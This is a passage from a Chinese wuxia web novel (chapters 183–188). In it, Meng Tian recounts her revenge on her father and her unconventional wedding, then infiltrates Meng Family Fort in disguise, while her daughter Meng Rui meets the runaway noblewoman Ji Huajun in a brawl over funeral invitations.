孟蕊记得,娘亲说她十几岁时就离开孟家堡,跟随叔父孟逐风闯荡江湖,想来也是因为不想看到打伤她的亲生父亲,还有挑事的苗氏母子。
听到孟蕊的回答,孟天笑道:
“我当年可不这样想,无聊地躺在床上养伤时,我只想到两件事。
一是,不管多难,我一定要重新练起武功,要练到比孟剑雨更强。
总有一天,我要把孟剑雨那个以大欺小的臭老头踩在脚下,要让他哭着向我求饶。
二是,我彻底明白,这世上之人,除了自己,无人可靠。
祖父可以救我一时,不能保我一世,亲生父亲尚且要杀我,其他人,更不能全然信任。”
说这些话时,孟天看着孟蕊,嘴角微微上翘,笑得不张扬,却透着骨子里的从容和笃定,那是强者回看过去的淡然与释怀。
孟蕊眨了眨眼,这想法,确实是她娘亲的风格。
“那您这次回来,是想要痛揍孟堡主一顿?”
娘亲不认孟剑雨是父亲,那孟蕊也不认孟剑雨是亲人,只像对外人一样称呼孟堡主。
“那倒没有。”
孟天想了想,唇边笑意扩大。
“报仇雪恨,三十年太久。”
孟蕊听到这里,以为娘亲是放下了。
算算时间,娘亲十二岁被废武功,确实已经是三十年前的事。
就算娘亲现在有实力打败孟剑雨,但毕竟是女儿痛揍亲生父亲,在情理和道义上都会被世人指摘。
然而,下一刻,孟天脸上的笑容无限放大,志得意满地说:
“二十多年前,老子武功大成,就回孟家堡闹了个天翻地覆,不但把孟老头打趴下,还把苗氏、孟繁和孟简几个,连同来劝架的弟子和管家,全都揍了一遍。
对了,当时你爹和阿忠都在场,我的英勇神武,他们都见证了。”
孟蕊惊讶得瞪大了眼,她的娘亲哦,真是威武雌壮的大女人!
“二十多年前?”孟蕊想起来,“我记得爹爹说过,他和您回孟家堡成亲,也是二十多年前的事,两件事是前后发生的?”
“成亲那点事嘛,我揍完了人,就顺便让孟家堡给我们准备婚事啦。”
孟天说得理所当然,她脸上弥漫的笑意,显示她对当年婚礼的满意。
“你爹虽然不靠谱,但他穿新娘装,是真好看。”
“什么?”孟蕊惊呼出声,“爹爹穿新娘服,那娘亲您穿什么?”
“我当然穿新郎官的衣服啊。”
孟天站起身,对着孟蕊原地转了一圈,拍着胸脯骄傲道。
“就咱这身材,这气魄,穿新郎官的衣服,那叫一个英俊潇洒、风流倜傥,把你爹迷得不要不要的,哈哈。”
“……啊?”孟蕊觉得自己要被娘亲整不会了。
即使入赘,也不用新郎新娘互换衣服。
不过想想她娘和她爹的性子,一个愿打一个愿挨,绝配!
“娘亲,等一下,衣服不是重点,重点是您打了孟家堡的人,他们还愿意给您和爹爹办婚事?”
孟蕊觉得不对劲,孟家堡能多年雄踞一方,不会是好欺负的主儿,娘亲和爹爹收拾了他们一顿,他们会以德报怨?可能吗?
“他们当然要给我们办婚事啊,否则你娘我现在,就是孟家堡的堡主了。”
孟天坐下,给自己倒了一杯茶水喝,总算给孟蕊讲清楚了其中的弯弯绕绕。
原来,二十多年前,孟老堡主,也就是孟天的祖父,病重卧床,时日无多。
孟天和孟逐风闻讯,赶回来见孟老堡主最后一面,谢清源和李忠等人随行。
孟老堡主看着满屋儿孙们,公布了自己的传位决定。
考虑到小儿子孟逐风虽然武功最高,但更喜欢在江湖上闯荡,不愿守在孟家堡,孟老堡主决定将孟家堡堡主之位,传给大儿子孟剑雨。
孟剑雨正要应下,孟天站了出来。
她义正言辞地提出,堡主之位,应当能者居之,她的武功比孟剑雨高,她该当这个堡主。
孟剑雨气得直接动了手,要是被女儿抢了堡主之位,他颜面何存?
父女俩在多年后,再次大打出手。
但这一次,孟剑雨败了。
不到十年,孟天的武功,反超父亲孟剑雨,将孟剑雨打翻在地。
孟天用刀指着地上的父亲,让他为当年废了自己武功的事,向她道歉认错。
但孟剑雨死不开口,孟天直接一脚,踢断了他的肋骨,又一脚,踩断了他的腿,依然撬不开他的嘴。
孟天想到小时候受的种种委屈,气得把前来扶起孟剑雨的孟繁和孟简,都打趴在地。
就连来拉架的管家、苗氏,和孟剑雨的弟子们,也没有放过。
一同前来谢清源和李忠,不但不阻止,还帮着孟天打群架。
最后,是孟老堡主出面,孟天才罢休。
同时,孟天提出,她要在孟家堡和谢清源成亲,仪式越盛大越好,她满意了,就把堡主之位让出来。
第184章 堡主之死
“娘亲,您当孟家堡堡主,和与爹爹成婚,不冲突啊,您为何不能两样都要?”
孟蕊觉得,如果她娘当了孟家堡堡主,和她爹成亲后,一起生活中在孟家堡,也是不错的选择。
孟天则嫌弃地撇撇嘴,“人外有人,天外有天,若只偏安一隅,不去多见世面,不与江湖上的高手过招,我的武功如何更进一层?我是不会一直待在孟家堡的。”
孟天想了想,补充道:
“而且以当时的情况,在祖父面前,我不能真把孟老头他们都杀了。若我当了堡主,不得不经常见到这些看一眼就心烦的人,不如不当,眼不见,心不烦。”
孟天怨恨孟剑雨,但对庇佑她长大、指导她武艺的祖父十分敬重。
当年,孟老堡主已经病入膏肓,听到年过二十的大龄孙女终于要成亲,孙女婿谢清源看起来又是一表人才,孟老堡主非常高兴,督促着孟家堡所有人为他们举办婚事。
大婚当天,被孟天打伤的孟剑雨,卧床不起,苗氏和孟繁、孟简两兄弟,也躲着不参加孟天和谢清源的婚事。
孟天一点不在意,看不到他们更好。
孟天与谢清源一起拜过天地,再拜高堂。
高堂上坐着的,是疼爱孟天的祖父和叔父,孟天非常满意。
婚后,孟天和谢清源在孟家堡住了半个多月,陪伴着孟老堡主度过了生命最后的时光。
孟老堡主的葬礼过后,孟天和谢清源离开了孟家堡。
自那之后,孟天没有再回过家乡,直到现在。
听完娘亲的讲述,孟蕊终于弄明白了娘亲和孟家堡的关系和恩怨。
总结起来就是,她娘二十多年前,和她爹以及李管家一起,把孟家堡如今当家的主子们和弟子们都揍了一顿。
而当年护着她娘亲的祖父和叔父,现在都已经不在人世。
无论孟剑雨是真死还是假死,当年孟天一并揍过的苗氏、孟繁和孟简都还在,孟剑雨的弟子们也有不少依然留在师门,他们可都不待见孟天。
“叩,叩叩叩。”
门上传来约定好的敲门声,是吟夏和吟秋回来了。
孟蕊起身去开门,将她们迎了进来,又谨慎地关好门。
“公子,就在刚才,孟家堡已经发出讣告,宣布了堡主孟剑雨病逝的消息。”
吟夏一进门,就迫不及待地说。
“孟家堡还派人在城门口张贴告示,说孟堡主会在孟家堡停灵七日后下葬。”
孟蕊面色凝重,“知道孟剑雨的确切死因吗?”
吟秋愁虑地望了眼孟天,答道:
“外边都在传,是孟堡主的长女……当年重伤孟堡主,让孟堡主落下病根,这些年一直饱受折磨,直至昨夜病故。”
“呵!二十多年前受的那点伤,老头几个月就养好了,居然把他的死,怪到我头上来?真是好得很呐!”
孟天嗤笑一声,一口饮尽杯中茶水,浑身散发着凛冽寒意。
“他最好的真的死了,否则,不死,老子也要他死!”
孟蕊看向吟秋问:“能否确认他死亡的确切消息?”
吟秋皱着眉摇头,“孟家堡不好进,我们想要去孟家堡查探,只行至半程,就被孟家堡的侍卫拦下,说要有孟家堡的请帖才能继续往前,我们只好先返回。”
“你们贸然过去,会不会被人盯上?”孟蕊警惕地问。
吟夏凑过来抢答:
“我们是跟着好多江湖人士一起去的,他们听到孟堡主去世的消息,都往孟家堡去祭拜,我们算是凑个热闹。
其中少数人与孟家堡是旧识,说明了身份和来意,侍卫放了他们过去,我们这些没关系的,就一同被赶了回来,算起来,又好几十人呢,应该不会被特意盯上。”
孟蕊稍稍安心,但又觉得孟家堡的做法有些奇怪。
既然只有孟家堡旧识和有请帖的能去祭拜,只发讣告即可,为何又要在在城门口张贴告示,说孟剑雨会在孟家堡停灵七日后下葬,就像是专门邀请人前去祭拜。
“他们在催促我们?”
孟蕊脑中灵光一闪,看向孟天。
“因为我们还没去,他们急了?”
孟天眉目微凝,手中把玩着茶杯,唇边溢出冷笑,“急不可耐地想要杀了我吗?谁杀谁,还不一定呢。”
“不行,太危险了,我们不能去!”
孟蕊感到危机将至,连忙阻止娘亲危险的想法。
“我们先离开这里,找二哥的事,日后从长计议,如何?”
“别着急,他们可是给了咱们七天时间呢。”
孟天将手中茶杯扣在桌上,发出一声闷响,淡定对孟蕊说。
“天色已晚,今夜先休息,明日看看情况再说。”
……
第二日,天蒙蒙亮时,孟蕊就醒了。
她从床上坐起,睡眼迷茫之际,习惯性地寻找娘亲的身影,却发现房中只有她一人。
孟蕊乍然惊醒,仅剩的一点瞌睡全都散去。
她立刻穿鞋下床,在一眼就能看完的房间里仔细找了一圈,连床下和柜子里都看过,确定娘亲不在房中。
门上的横闩是放下的,说明娘亲没从房门出去,窗户是合上的,但孟蕊轻轻一推,窗户就开了,并没有插上里侧的插销。
孟蕊大概能确定,娘亲是从窗户出去的。
出京后这一个月里,孟蕊每日早晨醒来,都能看到娘亲在身边,等她醒来,然后带着她一起练内功心法。
今天的情况突然不一样,让孟蕊嗅到些不寻常的意味。
娘亲就算要出门,也该和她说一声,或是留下消息给她。
孟蕊在又在房中找了一圈,把床上的被褥都翻了个遍,终于在自己怀中,找到了一张叠好的纸条。
纸条约巴掌大小,左下方写了两行小字:
“此地危险,带着人先回京城。”
孟蕊直觉这两句话,不是娘亲留给她的全部消息,将纸条翻来覆去检查,却没发现其他的字。
她让自己镇定下来,回忆着从京城出发后,娘亲教给她的各种江湖生存技能,其中传递消息一项中,就有不少学问。
“有了!”
孟蕊将已经熄灭的油灯点燃,把纸条悬空置于油灯之上。
几息之后,纸条上原本空白之处,开始浮现字迹,呈现出孟天留给孟蕊的完整消息。
第185章 独自潜入
在火苗的加热下,药水写就的隐形字迹,逐渐显现:
“为便宜行事,我已改换身份容貌,潜入孟家堡中,不日即查出真相,并将你二哥带回。
影山地势凶险,堡中人心叵测,吾儿留守城中,静候佳音。
若察觉此地危险,带着人先回京城。
此信阅后即焚。勿忧,勿念。”
孟蕊确定,这是娘亲的字迹。
她将纸条上的内容熟记于心,仔细检查后,再没有发现新的字迹出现,遵照娘亲的吩咐,将纸条在油灯上点燃,烧为灰烬。
孟蕊看着桌上的黑灰,和摇曳的油灯火苗,思索着娘亲的交代。
按娘亲的意思,孟家堡危险,所以她独自潜入,不带孟蕊和吟夏吟秋,让她们在渝州城等她回来。
孟蕊想,娘亲昨日应该已经打定了主意,孟剑雨毕竟是娘亲的父亲,无论过去有多少仇怨,人若是真的死了,娘亲不会不在意。
即使孟蕊昨日提出阻止,孟天明知危险,也一定要去孟家堡探听虚实。
孟天武功高强,江湖中已少有敌手,且她从小在孟家堡长大,对那里十分熟悉,单独潜入,比带着孟蕊她们几个一起更方便安全,被发现了逃跑也更快。
为今之计,孟蕊只能暂且按照娘亲的嘱咐,在渝州城中等待,见机行事。
收拾好心情,孟蕊回到床榻上,盘腿而坐,闭上双目,开始独自练内功心法。
一个时辰后,孟蕊睁开眼,看到窗外天光已然大亮,下床洗漱好后,熟练地扮上男装,去隔壁房间找吟夏吟秋。
“父亲到哪里了?”孟蕊开门见山地问。
吟夏一愣,略显慌乱地看向吟秋。
吟秋的脸上也露出诧异的神情,强作镇定道:
“老爷在京城啊,公子,怎么突然问起这个?”
孟蕊对她们招了招手,让她们靠近些,一派了然地说:
“从京城过来的一路上,你们每隔几天,就会与我爹传信,不用否认,我看到你们晚上偷偷出去放信鸽了。
刚开始的传信时间,约为五日一次,后来时间逐渐缩短,说明与你们相互传信的人,和我们之间的距离,也在缩短。
我爹离开了京城,保持着距离,坠在我们身后,是也不是?”
吟夏和吟秋面面相觑,心虚的表情已经暴露了她们隐藏的秘密。
“公子,老爷也是担忧您和夫……孟护卫,所以才有此安排。”
吟秋听到孟蕊说得有理有据,心知瞒不下去,直接承认,又不放心地问。
“孟护卫……应该还不知道此事吧?”
谢清源最是怕孟天知道他跟过来,嘱咐吟夏吟秋一定要瞒住。
“我都能察觉到的事,你们觉得她看不出来?”
孟蕊抱着手臂,淡定看着她俩。
“说吧,我爹现在到哪里了?你们上一次传信是什么时候?”
吟夏和吟秋悬着的心,终于死了,将谢清源的安排和盘托出。
原来,谢清源根本没听孟天的话留在京城,孟天和孟蕊离京的五日后,谢清源也离开了京城,远远跟在孟天一行人的后面。
刚开始,他担心被孟天发现,路上走得慢,后边加快了速度,与孟天之间的距离逐渐缩短。
据吟秋推算,现在的谢清源,应该已经到达渝州之前的上一座城蓬州。
“蓬州到渝州,只有两日路程。”
孟蕊用茶水在桌上画出一条线,计算着谢清源和她们之间的距离。
“你们上一次传信是昨日下午,那么今日,父亲应该能收到信,你们昨日发出的信中,写的什么内容?”
吟秋回想了一下,答道:
“每次送信的内容简短,昨日传给老爷的信上,只写了我们到达渝州城,以及孟堡主突然去世的消息。”
孟蕊眸中一亮,父亲收到孟剑雨突然去世的消息,不会无动于衷,他肯定会立即动身,前往渝州城。
今日一早出发,快的话,明日晚间便能到,即使慢一些,后日也能到。
孟蕊意识到,娘亲正是知道爹爹就在后面跟着,得知孟剑雨的死讯后,一定会赶来,所以才放心地留下孟蕊,一个人去了孟家堡。
孟蕊心中一暖,早上还感觉有些空落的心,现在又多了几分底气。
“公子,孟护卫是不是因为老爷生气了?”吟秋小心翼翼地问。
孟蕊笑着摇了摇头,“不用紧张,孟护卫不会因为此事责怪你们,我倒是有事要麻烦你们。”
吟秋舒了一口气,请示孟蕊,“您有何吩咐?”
“现在可以给我爹传信吗?”
孟蕊得到吟秋肯定的回答后,下了命令。
“给我爹传信,说孟护卫外出办事,请我爹隐藏身份,来客栈与我们汇合。”
吟秋没有放信鸽,而是带着孟蕊到了一处绸缎庄。
出示信物后,绸缎庄掌柜恭敬地将孟蕊一行人请到了后院,孟蕊当即明白,此处是她爹谢清源的铺子,掌柜也是她爹的手下。
孟蕊也才知道,她们从京城出发后,吟秋和吟夏几乎是一日不落地给谢清源传信。
除了用信鸽,吟夏和吟秋还通过谢清源在各地的铺子传信。
这家绸缎庄掌柜姓孙,得到孟蕊的命令,直接派人骑马出城,去给谢清源传消息。
从孙掌柜的口中,孟蕊还知道了孟家堡的不少事。
比如,这渝州城中,近半数的铺子,都是孟家堡的产业,其中也不乏她爹谢清源的手笔。
比如,孟家堡堡主死得蹊跷,之前根本没听说患病,或是身体不好的消息。
两个月前,突然传出孟堡主重病卧床,一个多月前,才宣布要办传位大典。
孟蕊让孙掌柜帮她留意孟家堡的事,找找门路,可以让她进入孟家堡,祭拜孟堡主。
从绸缎庄出来,孟蕊带着吟夏和吟秋,在街上逛了一会儿。
与昨日相比,今日的街道要冷清一些。
不少有孟家堡标志的商铺,因为孟堡主去世的消息,都挂了白,且关门歇业。
昨日吃饭的醉香楼也关了门,孟蕊一行人只好去别处觅食。
拐过一条街,正碰上一家宾客云集的酒楼,走近一看,就见大堂里坐着的,几乎全是带着刀剑武器的江湖人士。
孟蕊见状,本不打算进去,但她一眼就望见了一个熟悉的身影。
纪华筠?
怎么会是她?
第186章 黑衣帮帮主
孟蕊盯着纪华筠的方向,想要看得更清楚一点,不自觉走向酒楼门口。
眼尖的酒楼伙计看到富贵公子打扮的孟蕊,殷勤地上前揽客。
“哟,这个公子,咱家菜色齐全,煎炸烹炒,色香味俱全,进来尝尝啊!”
孟蕊没有理会酒楼伙计,她此刻终于看清楚,前方那个翘着腿,与凶神恶煞的彪形大汉扳手腕的黑衣女子,不就是从京城跑掉的纪华筠?
若不是曾经印象深刻,孟蕊都快要认不出眼前的纪华筠了。
一身朴素的粗布黑衣,一只木簪将乌黑的长发束在头顶绾成单髻,全身上下找不出一件首饰,看起来要多落魄有多落魄。
与那个冠绝京城、精致到头发丝的贵女纪华筠,完全是两个极端。
曾经绝美的小脸上灰扑扑的,不知抹了些什么,但却洋溢着得意之色。
她正与一个身形能有她三倍宽的彪形大汉,相对坐在桌前,手肘置于桌上。
纪华筠纤细白皙的素手,与大汉宽大黝黑的大掌交握在一起,正比试扳手腕。
他们旁边围了一圈看热闹的江湖人士,其中一名青衣剑客,对着和纪华筠比试的彪形大汉催促:
“熊大魁,你在磨蹭什么?快把这小娘们解决了。”
熊大魁没空搭理剑客,他正死命用劲,尝试扳下纪华筠的手腕。
为此,他整张脸涨得通红,额头暴起青筋,牙关咬得咯咯作响,仿佛用尽了全身的力气。
但桌上交握的手,却纹丝未动。
“他倒是想啊。”纪华筠对着说话的剑客呲牙笑道,“可惜,他不中用。”
“砰!”
纪华筠稍一用力,把熊大魁的手直接按在桌子上,轻松结束了比试。
“我赢啦~”
纪华筠开心地蹦起,为自己拍手叫好。
“我们黑衣帮赢了,愿赌服输,把请帖交出来!”
她对着被扳倒手腕的熊大魁伸出手,动了动手指,示意对方交出东西。
围观的人群中发出议论声和唏嘘声。
“这小娘们谁啊?力气比冲牛帮的熊大魁还大?”
“黑衣帮是干什么的?江湖上何时冒出来的?”
“我也不知道,突然就蹦出来这么个人。”
……
酒楼的伙计见孟蕊一直盯着纪华筠那边看,讨好地笑着介绍:
“那位墨姑娘是黑衣帮的帮主,别看她长得美,脾气可不太好,力气大的哟,小的我昨天亲眼看到她单手掀翻了一个调戏她的壮汉,可凶了!”
“墨姑娘?”孟蕊掏出两块碎银子抛给伙计,问道,“这黑衣帮,是什么来头?”
“多谢公子!”
伙计接住银子,更加殷勤地说。
“黑衣帮小的之前也没听过,只知道那位力气大的墨姑娘,自称是黑衣帮的帮主,她身边常跟着一男一女两名护法,瞧,就是墨姑娘身边那两位。”
孟蕊顺着伙计手指的方向看过去,果然看到人群中走出来穿着黑衣的一男一女,护卫在纪华筠身侧。
那女子穿着与纪华筠同款黑衣,孟蕊定睛一看,便认出这女子的模样,不就是跟着纪华筠一同逃跑的丫鬟碧莲吗?
而旁边的年轻男子,背对着孟蕊,可看出他高大挺拔,黑衣包裹下的肌肉线条明显,手掌上有明显厚茧,应该是个会武的江湖人士。
“把请帖交出来。”
黑衣男子嗓音凛冽,夹杂着丝丝寒意。
他上前一步,逼近熊大魁。
输了比试的熊大魁,连忙捂住胸口,不乐意道:
“扳个手腕就想拿走老子的请帖,别做梦了!”
说着,愿赌不服输的熊大魁,起身就往外跑。
“站住!”
黑衣男子上前,一把抓住熊大魁的肩,要阻止他离开。
熊大魁一个下蹲,让黑衣男子扑了个空,然后就着爬行的姿势,四脚并用冲出了酒楼。
黑衣男子很快追出去,拦住熊大魁,两人快速过起招来。
孟蕊又掏出一块银子,送给伙计,“他们在抢的,是什么请帖?”
酒楼伙计喜滋滋收下银子,向孟蕊解释:
“当然是孟家堡的请帖,孟堡主突然去世,不少武林人士都想前去孟家堡祭拜,但不是什么人都能进得去孟家堡的,只有手握请帖的人,才能有幸进入孟家堡。”
孟蕊追问:“要怎样才能获得孟家堡的请帖?”
酒楼伙计退后一步,上下打量了一圈孟蕊。
从她头戴的玉冠,一身名贵丝绸的料子,到腰间挂着的价值不菲的玉佩,手指上的黄金绿宝石戒指,这样富贵的公子哥儿,在城中少见。
酒楼伙计一边看一边点头,“对您来说不难,也就是银子的事儿。”
“有银子就能进孟家堡?”
孟蕊惊诧地挑眉,指着不远处为请帖大打出手的两人,不解地问酒楼伙计。
“那他们打什么?拿银子买请帖不就好了?”
“公子,对您来说,银子是小事,但那黑衣帮,穿的还不如小的我,一看就是穷酸的帮派,哪能买得起请帖?”
酒楼伙计指了指与熊大魁过招的黑衣男子,又指了指追过去的纪华筠和碧莲,嫌弃地说。
“您看看他们身上穿的、戴的,啥也不是,能买得起一千两银子一张请帖?”
孟蕊又惊了一下,“孟家堡的请帖,要一千两一张?”
就算是金子做的请帖,也不值一千两一张,孟家堡的人怎么不去抢啊?
“可不是吗?孟家堡三少爷明码标价,请帖就是一千两一张,童叟无欺。”
酒楼伙计堆起笑脸,对孟蕊巴结道。
“公子您这么个富贵人儿,一千两对您来说,那不就是小事一桩?您要是想去,小的我给您介绍门路?”
孟蕊审视地盯着他,“你是说孟家堡三少爷?孟子俊?”
孟子俊是孟家堡大爷孟繁的二儿子,在孟家堡这一辈中排行第三。
孟蕊知道,孟家堡在渝州城的商铺,大多是孟子俊在管理,但没想到,这人竟钻进了钱眼里,连祭拜祖父的请帖,都能拿来卖高价。
“公子您说笑了,小的哪儿能认识三少爷呀!”
酒楼伙计挠了挠头,有些局促。
“小的是要给您介绍……”
“嗷——!”
熊大魁刺耳的痛叫声,打断了酒楼伙计的话。
孟蕊的目光被吸引过去,看到了不远处已经被打倒在地、四仰八叉躺着的熊大魁。
而那名打败他的黑衣男子,从熊大魁怀中摸出了一张白色的请帖,放进了自己怀中。
他转过身的一瞬间,孟蕊看清了他的脸,蓦然呆立在原地……
第187章 抢夺请帖
那是一张轮廓偏圆、线条硬朗的脸庞,肤色略黑,是长期浸晒阳光下的小麦色。
长眉黑浓入鬓,上扬的眉梢,透着坚毅果决的气势。
双眼明亮而坚定,带着些少年张扬的傲气。
高挺的鼻梁下,是一张噙着讥诮笑意的薄唇。
他身材高大挺拔,肩膀宽厚有力,黑衣将腰身收束如豹,显得整个人充满力量。
孟蕊呆呆望着他,不自觉想起第一次见到娘亲的场景。
那时女扮男装的娘亲,和眼前这个黑衣男子,不知怎的,形象逐渐重合……
太像了!
不只是容貌上的相似,更是气质上的契合。
那种张扬不可一世的傲骨,那种时不时就透出讥讽的态度,和她娘亲,简直一模一样!
孟蕊想起自己第一次见到爹爹时,爹爹夸张地把她认成祖母。
后来去承恩公府,祖父和伯父姑姑们都说她长得像祖母,孟蕊之前觉得他们夸大其词。
就算是看到长得相像的沈氏和姜瑶,孟蕊也不认为能单从容貌辨认亲缘关系。
但现在,看到这黑衣男子,孟蕊第一次如此直观地认定,这人一定和她娘亲有关。
说不定,此人就是她们正在寻找的二哥!
身边酒楼伙计絮絮叨叨说的话,孟蕊已经听不到了。
她迈开步子,径直走向那黑衣男子。
在她身后的吟夏吟秋见状,立即跟上,扒开围观的人群,护着孟蕊,来到黑衣男子旁边。
此处,被打趴下的熊大魁,仰躺在地上,无力地喘气。
打败他的黑衣男子,收好了请帖,正要离开,被纪华筠拦住。
“余哥,你拿到孟家堡的请帖了?快给我看看!”
纪华筠对黑衣男子伸出手,索要请帖。
黑衣男子顿下脚步,手却不动,“我拿到的,就是我的。”
他说得理所当然,推开纪华筠的手,就要向前走。
“你什么意思?我是帮主!拿到请帖,当然要先给我!”
纪华筠嘴一抿,腿一跨,牢牢挡住黑衣男子的去路。
男子黑眸中涌现不耐烦,“我从来没说要加入你的帮派,是你一厢情愿,而且,黑衣帮?太难听了!我都不好意思说出口。”
“混蛋!你居然过河拆桥!”
纪华筠怒了,抬起拳头,就要往男子脸上招呼。
“等等!别打他!”
孟蕊大声阻止,几步跑到两人中间,伸手分开他们。
“你们先别打架,我有办法拿到更多的请帖。”
纪华筠看到她一愣,“你哪位啊?”
“在下姓余,是来此地做布匹生意的商人。”
孟蕊随口自我介绍,顺势给自己改了个姓。
她对着纪华筠拱了拱手,转身与黑衣男子套起近乎。
“这位少侠,你刚才那几下,当真是好身手哇,令人佩服!在下有幸,与你同姓,想趁此缘分,请少侠和你的朋友们喝几杯,可否赏脸一叙?”
黑衣男子上下扫视孟蕊,不给面子地拒绝:“小爷我要赶着去孟家堡,没空!”
说完,他再不停留,脚步急切地离开。
“你不许去!那请帖是我赢的!”
纪华筠急了,推开孟蕊,从后面一把抱住黑衣男子。
“不给我请帖,你也休想去!”
孟蕊被纪华筠的大力推向一边,差点摔倒,还好吟夏眼疾手快,扶住了孟蕊。
“公子,这位姑娘该不会是……纪小姐?”
吟秋反应慢了一步,因为她也发现了纪华筠的身份,一时愣神,回过神后,连忙凑到孟蕊身边,压低声音说:
“纪小姐在这里,咱们要不要通知老爷,告知纪家?”
“不急,你们听我吩咐……”
孟蕊安排好吟夏和吟秋的任务,再次看向前方纠缠在一起的纪华筠和黑衣男子。
黑衣男子的上半身,连同两条胳膊一起,被纪华筠从身后紧紧箍住,在纪华筠的大力压迫下,动弹不得。
“喂!你这个女人,有没有点羞耻心啊?”
黑衣男子挣扎不开,气急败坏地怒斥。
“光天化日之下,当街抱男人,像什么样子?还不快放开我!”
“要羞耻心做什么?老娘现在只要请帖!”
纪华筠不但不松手,还伸长了手,往黑衣男子衣襟里面探,去摸那张请帖。
看到这一幕,孟蕊简直不敢相信自己的眼睛。
她知道纪华筠力气大,但没想到她的力气,能箍住一名武功不低的七尺男儿无法动弹。
这黑衣男子是不是二哥孟瑜,孟蕊还不确定,但她知道,这个在大街上拦腰抱住男人的,绝对是纪华筠啊!
那个京城名门贵女的典范,知书达理、循规蹈矩的永宁侯嫡女——纪华筠啊!
若是永宁侯夫人看到这一幕,会惊吓到晕倒吧?
“阿莲,快来帮忙!”
纪华筠的手不够长,虽摸到了男子怀中的请帖,但拿不出来,只能催促一旁的碧莲。
碧莲得令,立马上前,与纪华筠一起,对黑衣男子前后夹击,上下其手。
“你们别太过分!”
黑衣男子涨红了脸,长腿一伸,勾上碧莲的脚踝,把她绊倒在地。
孟蕊看得奇怪,这人腿上功夫不差,若是往后踢上纪华筠,必能从纪华筠手中脱困。
他怎么不踢呢?
“阿莲!”
纪华筠看到碧莲摔倒,担心地大喊。
“帮主,我没事。”碧莲从地上爬起,坚持不懈地又上手来掏请帖。
“喂!你们再这样,我真要不客气了!”黑衣男子动了动身体,威胁道。
他眸中锋芒乍现,给孟蕊一种他终于要动真格的感觉。
孟蕊忙让吟夏拦住碧莲,走近他们,诚恳道:
“几位!在下建议,你们还是放弃那张请帖比较好。”
“凭什么?”纪华筠瞪向孟蕊。
“因为依在下之见,那张请帖应非熊大魁之物,若失主找来,恐会连累到你们。”
孟蕊言辞恳切,表情认真。
“孟家堡的请帖,要一千两一张,熊大魁的请帖,很可能是抢来的。”
黑衣男子低头睨向熊大魁,熊大魁心虚地转过头,躺在地上装死。
纪华筠呛道:“抢的又如何?我抢到了,就是我的!”
孟蕊扶额,纪华筠与她抱着的黑衣男子,两人虽有矛盾,思路倒是出奇的一致。
“请帖乃孟家堡三少爷卖出,若谁抢到了是谁的,孟家堡信誉何在?”
孟蕊话音刚落,便见一队整齐划一的侍卫,自长街尽头疾跑而来。
第188章 孟家堡来人
孟蕊见状,道了句“得罪”,快速从黑衣男子怀中抽出白色请帖,丢在了地上熊大魁的手边。
不多时,那队侍卫就跑到了酒楼门口,粗看过去,能有一二十人。
领头的是一名提剑的中年男子,身材不高,宽厚结实,眼皮松弛地半垂着,可一走近看到地上的白色请帖,瞳眸中迸发出精光。
“屈老爷,这是你被人抢走的请帖吗?”
一名年约五旬、身着靛蓝绸缎的富贵老头,从他身后出现,一看到地上的白色请帖,小跑过去捡起,激动得连连点头:
“是,这就是我的请帖!多谢范统领帮我找到。”
他一扫眼,瞧见了请帖旁边正在从地上艰难爬起来的熊大魁,更激动了。
“是他!就是他抢了我的请帖!”
屈老爷指着熊大魁,对范统领告状。
“范统领,快把他抓起来!”
熊大魁一听来人是范统领,就知道他今儿是没得跑了。
居然是孟家堡来人,早知如此,他就不抢请帖了,就算抢了请帖,他也不该来酒楼嘚瑟,引得黑衣帮觊觎,把他打成这样,想跑都跑不掉。
范统领一挥手,他身后训练有素的侍卫,迅速上前,把熊大魁制住。
熊大魁大喊冤枉,“范统领,这请帖不是我要抢的,是他们黑衣帮……”
他想要把黑锅抛给黑衣帮,但抬头往周围一看,声音顿住,不可置信地东张西望,却不见黑衣帮三人的踪影?
刚才围观的人群,看到孟家堡的人来了,迅速散开,只剩少数几个想要看热闹到最后的看客。
“你在说黑什么?”范统领顺着熊大魁的目光看去,没发现可疑之人。
熊大魁忙道:“黑衣帮,他们刚才还在抢我的请帖来着,可是突然,人就不见了……”
“范统领,您别听他胡编乱造,什么黑衣帮,闻所未闻!”
屈老爷气愤地指着熊大魁,义正言辞地指证。
“我当时看得很清楚,就是此人在巷子里拦截我,抢走了我的请帖!你们一定要严惩!”
熊大魁不甘心,凭什么他抢了别人被抓,别人抢他没事,还想再说话,被范统领下令堵了嘴,被侍卫拖着快速离开。
而此时的孟蕊,已经带着纪华筠他们躲进了酒楼二楼的包房,刚好从窗户目睹了熊大魁被孟家堡的侍卫拖走。
“赏你了。”
孟蕊将一小锭金锞子送给酒楼伙计。
刚才就是这机智的酒楼伙计,把他们带上了楼,躲过了孟家堡侍卫。
虽然抢了人请帖的是熊大魁,但孟蕊不想多事,直接扯着纪华筠和疑似孟瑜的黑衣男子跑进了酒楼,然后用银子开道,让之前一直和她说话的酒楼伙计带他们上了二楼包房。
酒楼伙计看到金子,小小的眼睛里,绽放出欣喜的发财之光。
“多谢公子!”
孟蕊好脾气地对他笑笑:
“是本公子要谢你的帮忙,正好我们也饿了,你去给我们整几个店里的招牌菜上来,再上些茶水,来壶好酒,办得好了,本公子还有赏。”
“好嘞!您瞧好吧!小的马上为您准备。”
酒楼伙计笑眯眯地应下,出门去张罗饭菜去了。
纪华筠坐在孟蕊对面,好奇的目光一直黏在孟蕊身上。
“余公子,我看你有些眼熟啊,我们之前见过吗?”
孟蕊心中微惊,面上坦然自若,“在下觉得,墨姑娘也有些眼熟,你可曾去过京城?我们是否在京城见过?”
“京城?我没去过,你估计是记错了。”
纪华筠连连摆手,立即转换了话题。
“余公子,你可真聪明,你怎么知道熊大魁的请帖是抢来的?又是如何快速判断,那些人是来抓抢请帖之人的?”
“一点身为商贾的小聪明罢了,不值一提。”孟蕊谦虚地对纪华筠拱了拱手。
纪华筠怀疑地盯着孟蕊,“你最好说清楚,不然,我要怀疑你和来抓人的是一伙的。”
立在窗边关注楼下情况的黑衣男子也侧过头来,探究地看向孟蕊。
“好说好说,在下乐意为姑娘解惑。”
孟蕊做出害怕的表情,不疾不徐地解释。
“在下久闻孟堡主大名,这次来本想去孟家堡拜会,不想昨日才到此地,听闻孟堡主突然离世,我当即前往孟家堡,却在途中被孟家堡的侍卫赶了回来,是以在下知道,孟家堡进出严格,有多重关卡,没有请帖很难入内。
既然孟家堡难进,请帖价高难得,自然有人会打这请帖的主意,若是谁抢到就是谁的,所有人都去抢请帖了,谁来买呢?孟家堡这生意不就做不成了,所以,他们绝不会放任不管。
